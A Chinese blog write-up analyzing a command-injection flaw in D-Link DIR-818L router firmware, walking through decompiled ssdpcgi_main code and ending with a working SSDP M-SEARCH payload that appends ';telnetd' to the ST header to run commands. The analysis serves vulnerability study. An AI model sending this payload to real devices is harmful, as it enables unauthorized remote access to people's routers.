某IOT设备漏洞分析

news/2024/5/3 2:46:11/文章来源:https://blog.csdn.net/qq_53123067/article/details/127099723

申明:本文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本文及作者无关,请谨记守法.

设备名称: DLINK DIR-818l

固件包: d-link DIR818L_FW105b01 A1

环境搭建: 使用firmAE

./run.sh -r mk818l ./firematr/ DIR818L_FW105b01

目录

RCE漏洞

一、前置知识

二、漏洞分析

三、需要了解的几个重要函数

四、代码审计


RCE漏洞

一、前置知识

SSDP协议(Simple Service Discovery Protocol)

SSDP就是简单服务发现协议(SimpleServiceDiscoveryProtocol)是一种应用层协议,它是构成通用即插即用(也就是UPnP,UPnP是各种各样的智能设备、无线设备和个人电脑等实现遍布全球的对等网络连接的结构)技术的核心协议之一。用于发现局域网里面的设备和服务,SSDP消息分为设备查询消息、设备通知消息两种,通常情况下,使用更多地是设备查询消息。一般在嵌入式设备中如路由器,摄像头中较为常见。   简单服务发现协议提供了在局部网络里面发现设备的机制。控制点(也就是接受服务的客户端)能够直接通过使用简单服务发现协议,根据自己的需要查询在自己所在的局部网络里面提供特定服务的设备。设备(也就是提供服务的服务器端)也能够直接通过使用简单服务发现协议,向自己所在的局部网络里面的控制点宣告它的存在。

请求头消息格式

M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: "ssdp:discover"
MX: 5
ST: ssdp:all

1 消息头为固定格式

2 HOST地址 ip:port

3 MAN后面的ssdp:discover为固定格式

4 MX为最长等待时间

5 ST 查询目标,它的值可以是: upnp:rootdevice 仅搜索网络中的根设备 uuid:device-UUID 查询UUID标识的设备 urn:schemas-upnp-org:device:device-Type:version 查询device-Type字段指定的设备类型,设备类型和版本由UPNP组织定义,其中,第三种一般可以用来自定义设备,如:ST: urn:schemas-upnp-org:device:Server:1

响应包

HTTP/1.1 200 OK
CACHE-CONTROL: max-age = seconds until advertisement expires
DATE: when reponse was generated
EXT:
LOCATION: URL for UPnP description for root device
SERVER: OS/Version UPNP/1.0 product/version
ST: search target
USN: advertisement UUID

和HTTP协议极为相似,为后续的知识做基础

二、漏洞分析

此次触发RCE的漏洞函数为 ssdpcgi_main()

提权固件后进行逆向分析,其反汇编代码如下:

ssdpcgi_main()

int __fastcall ssdpcgi_main(int a1)
{int result; // $v0char *v2; // $s0char *v3; // $s3char *v4; // $v0char *v5; // $s2const char *v6; // $s1bool v7; // dcchar *v8; // $a2const char *v9; // $a0result = -1;if ( a1 == 2 ){v2 = getenv("HTTP_ST");v3 = getenv("REMOTE_ADDR");v5 = getenv("REMOTE_PORT");v4 = getenv("SERVER_ID");v6 = v4;if ( v2 && v3 && v5 ){v7 = v4 == 0;result = -1;if ( !v7 ){v7 = strchr(v2, '`') != 0;result = -1;if ( !v7 ){v7 = strchr(v3, '`') != 0;result = -1;if ( !v7 ){v7 = strchr(v5, '`') != 0;result = -1;if ( !v7 ){v7 = strchr(v6, '`') != 0;result = -1;if ( !v7 ){if ( !strncmp(v2, "ssdp:all", 8u) ){v8 = v3;v9 = "%s ssdpall %s:%s %s &";
LABEL_14:lxmldbc_system(v9, "/etc/scripts/upnp/M-SEARCH.sh", v8, v5, v6);// // ERROR_FUNreturn 0;}if ( !strncmp(v2, "upnp:rootdevice", 15u) ){v8 = v3;v9 = "%s rootdevice %s:%s %s &";goto LABEL_14;}if ( !strncmp(v2, "uuid:", 5u) ){lxmldbc_system("%s uuid %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);return 0;}v7 = strncmp(v2, "urn:", 4u) != 0;result = 0;if ( v7 )return result;if ( strstr(v2, ":device:") )   // 漏洞利用点{lxmldbc_system("%s devices %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);return 0;}if ( strstr(v2, ":service:") ){lxmldbc_system("%s services %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);return 0;}result = 0;}}}}}}else{result = -1;}}return result;
}

lxmldbc_system()

int lxmldbc_system(const char *a1, ...)
{char v2[1028]; // [sp+1Ch] [-404h] BYREFva_list va; // [sp+42Ch] [+Ch] BYREFva_start(va, a1);vsnprintf(v2, 1024u, a1, va);return system(v2);
}

先分析lxmldbc_system()这个函数,因为这个函数才是触发代码执行的函数

这个函数中有俩个比较重要的函数一个是vsnprintf(),system()

system执行命令的函数 传入的参数为 v2回溯到最前面是发现HTTP_ST中的内容也就是SSDP协议中ST字段中的内容,那么是不是可以将ST:字段中的内容插入一些特殊命令,传递进这个函数中就可以达到执行命令的作用,先不考虑有什么过滤,用什么办法才能将参数完整传进来,以及怎么写payload

三、需要了解的几个重要函数

vsnprintf()

int vsnprintf (char * sbuf, size_t n, const char * format, va_list arg );

参数sbuf:用于缓存格式化字符串结果的字符数组

参数n:限定最多打印到缓冲区sbuf的字符的个数为n-1个,因为vsnprintf还要在结果的末尾追加\0。如果格式化字符串长度大于n-1,则多出的部分被丢弃。如果格式化字符串长度小于等于n-1,则可以格式化的字符串完整打印到缓冲区sbuf。一般这里传递的值就是sbuf缓冲区的长度。

参数format:格式化限定字符串

参数arg:可变长度参数列表

作用:使用vsnprintf()用于向一个字符串缓冲区打印格式化字符串,且可以限定打印的格式化字符串的最大长度。

说白了就是将sbuf数组中的字符串打印出来,那么如果这个sbuf数组中是一些危险的命令,是不是就可以将命令传入system函数中执行从而执行命令。

#include <stdio.h>
#include <string.h>
#include <stdarg.h>#define SBUF_SIZE 128
char sbuf[SBUF_SIZE];void MyPrintF( const char * format, ... )
{va_list args;va_start (args, format);vsnprintf (sbuf,SBUF_SIZE,format, args);va_end (args);printf("%s",sbuf);		
}int main()
{	MyPrintF("my name is %s,my age is %d\n","bob",18);return 0;
}

system()函数

这个函数很简单执行命令,但是传统使用这个函数的时候通常一般会这么用
system("id")
这样会返回一个id值 是执行命令以后的id值
但是system()还有一种执行命令的方法就是在函数中可以加;号,如:system("id;id;id;id;id")
这样是可以直接执行5个id命令,也就是返回5个id值

也就是后面ST:为什么要这样构造payload

strchr()

在字符串中寻找字符C第一次出现的位置,并返回其位置(地址指针),若失败则返回NULL;

#include<string.h>
#include<stdio.h>
int main()
{char *str="Hello,I am sky2098,I liking programing!";char character='k' ;  //指定一个字符char *strtemp;strtemp=strchr(str,character);if(strtemp!=NULL){printf("%s ",strtemp);}else{printf("can not find %c !",strtemp);}return 0;
}

strncmp(s1,s2,n)

用来比较s1和s2字符串的前n个字符。如果两个字符串相等的话,strncmp将返回0。如果s1是s2的一个子串的话,s1小于s2。

strstr(haystack,needle)

该函数返回在 haystack 中第一次出现 needle 字符串的位置,如果未找到则返回 null

#include <stdio.h>
#include <string.h>int main()
{const char haystack[20] = "RUNOOB";const char needle[10] = "NOOB";char *ret;ret = strstr(haystack, needle);printf("子字符串是: %s\n", ret);return(0);
}

四、代码审计

然后开始分析 ssdpcgi_main()这个函数,原始if中的代码用xxxx()函数表示,比较好看一些,lxmldbc_system()也在xxxx()函数中。首先得让a1=2才可以执行if中的内容,具体a1是什么内容后面再继续分析。

第一个IF语句

if ( a1 == 2 ){xxxx()}return result;

第二个IF语句 判断v2,v3,v5 参数完不完整,不完整直接退出

if ( v2 && v3 && v5 ) {v7 = v4 == 0;result = -1;xxxx1()
}
else{result = -1;
}

第三个IF语句

判断v7是不是为空值 也就是之前v4的服务号,判断有没有服务开启

if ( !v7 ){v7 = strchr(v2, '`') != 0;result = -1;if ( !v7 ){v7 = strchr(v3, '`') != 0;result = -1;if ( !v7 ){v7 = strchr(v5, '`') != 0;result = -1;if ( !v7 ){v7 = strchr(v6, '`') != 0;result = -1;if ( !v7 ){if ( !strncmp(v2, "ssdp:all", 8u) ){v8 = v3;v9 = "%s ssdpall %s:%s %s &";
LABEL_14:lxmldbc_system(v9, "/etc/scripts/upnp/M-SEARCH.sh", v8, v5, v6);// // ERROR_FUNreturn 0;}if ( !strncmp(v2, "upnp:rootdevice", 15u) ){v8 = v3;v9 = "%s rootdevice %s:%s %s &";goto LABEL_14;}if ( !strncmp(v2, "uuid:", 5u) ){lxmldbc_system("%s uuid %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);return 0;}v7 = strncmp(v2, "urn:", 4u) != 0;result = 0;if ( v7 )return result;if ( strstr(v2, ":device:") )   // 漏洞利用点{lxmldbc_system("%s devices %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);return 0;}if ( strstr(v2, ":service:") ){lxmldbc_system("%s services %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);return 0;}result = 0;}}}}}

第 四 五 六个IF语句

主要是针对v2, v3,v5,v6 进行判断看传入的参数中有无 ` 号 防止一些命令进行执行。

 if ( !v7 ){v7 = strchr(v3, '`') != 0;result = -1;if ( !v7 ){v7 = strchr(v5, '`') != 0;result = -1;if ( !v7 ){v7 = strchr(v6, '`') != 0;result = -1;

继续更进

通过继续分析得知如果需要执行命令得保证lxmldbc_system()函数中有V2变量

if ( !strncmp(v2, "ssdp:all", 8u) ){v8 = v3;v9 = "%s ssdpall %s:%s %s &";
LABEL_14:lxmldbc_system(v9, "/etc/scripts/upnp/M-SEARCH.sh", v8, v5, v6);// // ERROR_FUNreturn 0;
}if ( !strncmp(v2, "upnp:rootdevice", 15u) ){v8 = v3;v9 = "%s rootdevice %s:%s %s &";
goto LABEL_14;}if ( !strncmp(v2, "uuid:", 5u) ) {lxmldbc_system("%s uuid %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
return 0;}v7 = strncmp(v2, "urn:", 4u) != 0;
result = 0;if ( v7 )
return result;if ( strstr(v2, ":device:") )   // 漏洞利用点 {lxmldbc_system("%s devices %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
return 0;
}if ( strstr(v2, ":service:") ){lxmldbc_system("%s services %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
return 0;}

通过以上筛选得出最可能存在利用点的地方

if ( strstr(v2, ":device:") ){   // 漏洞利用点lxmldbc_system("%s devices %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);return 0;}if ( strstr(v2, ":service:") ) {lxmldbc_system("%s services %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
return 0;}

总结以上内容构造payload为

M-SEARCH * HTTP/1.1
HOST:ip:prot
ST:urn:device:1;telnetd  // telnetd 为执行的命令 可以换其他的比如touch 1.txt 生成1.txt文本
MX:2
MAN:"ssdp:discover"

通过测试发现一开始的a1的值及MX:字段的内容为2

参考文章链接:

IOTsec-Zone物联网安全社区

SSDP协议_慕容野野的博客-CSDN博客_ssdp协议

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_15705.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Rust学习笔记:简单练习

最近一个月比较闲&#xff0c;忙碌大半年终于有自己短暂的休息时间。如果不写大的程序&#xff0c;偶尔写写一些小东西&#xff0c;其实用起来也很自在&#xff0c;前提是如果没有太多生活压力。看电视变成奢侈的事情。有时候&#xff0c;我会羡慕老外享受福利待遇非常好&#…

javaweb|JSTL的下载、配置与原理,解决uri导入时报错的问题

今天在配置jstl时&#xff0c;发现在引入uri时出现了问题&#xff0c;地址直接报红。在尝试了几种方法后&#xff0c;最后成功解决了。 JSTL一、下载1、https://tomcat.apache.org/2、找到taglib标准库3、下载前2个jar包二、配置1、放入web-inf的lib文件夹里2、将Jar包放入tomc…

windows下 解决PHP-CGI 进程崩溃502

PHP是世界上最好的语言&#xff0c;但需要PHP解析器&#xff1b;Apachephp,需要通过mod_php.so和php相连&#xff1b;nginxphp 需要转发给 cgi程序 关于FastCGI&#xff1a; 全称 FastCGI Process Manager&#xff0c;是一种进程管理器&#xff0c;管理 cgi&#xff0c;市面上…

1474_AURIX TC275 WDT的运行模式

全部学习汇总&#xff1a; GreyZhang/g_TC275: happy hacking for TC275! (github.com) 1. 前面的内容中其实已经看到了&#xff0c;这个看门狗的时钟其实是固定的&#xff0c;SPB的时钟。这样&#xff0c;后面了解时钟树的时候需要注意一下。其实&#xff0c;在功能安全的失效…

ES6--》一文搞懂JS中的Promise

目录 Promise Promise使用 Promise封装Ajax请求 Promise封装读取文件 Promise.prototype.then 方法 Promise多文件读取 Promise.prototype.catch() Promise.prototype.finally() Promise.all() Promise.race() Promise.allSettled() Pomise.any() Promise.resolve…

微信小程序开发入门与实战(Behaviors使用)

作者 : SYFStrive 博客首页 : HomePage &#x1f4dc;&#xff1a; 微信小程序 &#x1f4cc;&#xff1a;个人社区&#xff08;欢迎大佬们加入&#xff09; &#x1f449;&#xff1a;社区链接&#x1f517; &#x1f4cc;&#xff1a;觉得文章不错可以点点关注 &#x1f4…

【原创】基于JavaWeb的社区疫情防控管理系统(疫情防控管理系统毕业设计)

项目介绍&#xff1a;后端采用JspServlet。前端使用的是Bootstrap的一个网站模板。开发一个在线的社区疫情防控管理系统。从角色的划分&#xff0c;包括用户、社管员、管理员。功能模块上包括了社区公告发布、高风险地区记录、地区感染信息管理、社区出入登记管理、行程信息管理…

关于maven生命周期的理解

晚上有点无聊&#xff0c;看到了一些东西引发了自己的思路&#xff0c;就想将maven的一些东西总结总结&#xff0c;有从网上抄的&#xff0c;也有自己的思路。 一、生命周期是指什么&#xff08;lifecycle&#xff09; Maven的生命周期就是对所有的构建过程进行抽象和统一。包…

Posix与System V IPC

Posix与System V IPC一、Posix IPC1.概述2.IPC名字3.px_ipc_name函数3.创建与打开IPC通道4.IPC权限二、System V IPC1.概述2.key_t键和ftok函数3.ipc_perm结构4.创建与打开IPC通道5.IPC权限6.标识符重用7.ipcs和ipcrm程序8.内核限制一、Posix IPC 1.概述 三种类型的IPC合称为…

Redux的基本使用过程详解

文章目录Redux的使用过程Redux测试项目的搭建Redux的基本使用步骤Redux目录的结构划分React的三大原则Redux的使用过程 Redux测试项目的搭建 1.创建一个新的项目文件夹:learn-redux # 执行初始化操作 npm init -y或yarn init -y # 安装redux:npm install redux --save或yarn …

自定义View 布局过程(Layout)

目录一、作用二、layout过程详解2.1单一View的layout过程具体使用具体流程源码分析总结2.2ViewGroup的layout过程具体使用具体流程源码分析总结三、细节问题&#xff1a;getWidth() &#xff08; getHeight()&#xff09;与 getMeasuredWidth() &#xff08;getMeasuredHeight(…

Java高级——编译JDK

编译JDKJDK是什么&#xff1f;编译环境搭建JDK下载编译参数编译在IDE中调试源码JDK是什么&#xff1f; Java Development Kit&#xff0c;用于执行和开发java程序 编译环境搭建 本文采用Ubantu 18.04 执行以下命令安装依赖 apt-get install build-essential apt-get instal…

Transformer

参考 https://www.ylkz.life/deeplearning/p12158901/ https://zhuanlan.zhihu.com/p/396221959 模型结构 Input Embedding 将文本中词汇的数字表示转变为向量表示, 希望得到其在高维空间中的特征表示向量。 # 导入必备的工具包 import torch import torch.nn as nn import …

Qt5开发从入门到精通——第九篇一节( Qt5 文件及磁盘处理—— 读写文本文件)

CSDN话题挑战赛第2期 参赛话题&#xff1a;学习笔记 欢迎小伙伴的点评✨✨&#xff0c;相互学习c/c应用开发。&#x1f373;&#x1f373;&#x1f373; 博主&#x1f9d1;&#x1f9d1; 本着开源的精神交流Qt开发的经验、将持续更新续章&#xff0c;为社区贡献博主自身的开源精…

esp32-C3 CAN接口使用

esp32-C3 CAN接口使用功能概述CAN协议关注点接收过滤器单过滤器模式双过滤器模式关键函数说明配置和安装驱动获取TWAI状态信息发送/接收消息使用示例CAN控制器自回环测试CAN收发带过滤测试功能概述 ESP32-C3具有1个CAN控制器支持以下特性&#xff1a; 兼容ISO 11898-1协议(CA…

伟大的micropython smartconfig 配网它来了!!!

我这其实只是实验和搬运&#xff0c;还是感谢伟大的walkline群主&#xff0c;他弄好的&#xff0c;我只是负责搬运发布给新手看。 之前一大堆人问我配网的事儿&#xff0c;输入下wifi名称密码这么麻烦吗&#xff0c;好吧&#xff0c;有求必应&#xff0c;之前的配网是通过ap模式…

PICO高管专访:关于PICO 4硬件、内容、定价、海外布局的一切解答

PICO 4昨天正式在国内发布&#xff0c;简单来说这是一款相对均衡的VR一体机&#xff0c;在硬件素质、内容生态建设上都可圈可点&#xff0c;对于国内还未入手VR的朋友们来说是非常好的选择。相关阅读&#xff1a;《PICO 4评测&#xff1a;Pancake光学新标杆&#xff0c;VR娱乐V…

20【访问者设计模式】

文章目录二十、访问者设计模式20.1 访问者设计模式简介20.1.1 访问者设计模式概述20.1.2 访问者设计模式的UML类图20.2 访问者设计模式的实现20.3 访问者设计模式的优缺点二十、访问者设计模式 20.1 访问者设计模式简介 20.1.1 访问者设计模式概述 访问者设计模式&#xff0…

计算机网络基础 VLSM----可变长子网掩码;CIDR技术----无类域间路由;

VLSM----可变长子网掩码&#xff1a; 概述&#xff1a; 通过网络位向主机位借位的方式&#xff0c;延长子网掩码&#xff0c;从而达到将一个大网络划分为多个小网络&#xff1b;借出的位数称之为子网位&#xff0c;决定了能划分网络的个数。 优点&#xff1a; 更高效的利用…

记一次导入下载好的源码工程到本地工程异常解决方案

今天在学习okhttp相关视频时&#xff0c;安装视频的操作在自己的工程中引入三方的模块&#xff0c;但是发现引入后和预期的不一致。不一致指的是&#xff0c;视频中以module方式引入sample-okhttp并解决冲突后&#xff0c;sample-okhttp能够被android stuidio识别为applicayion…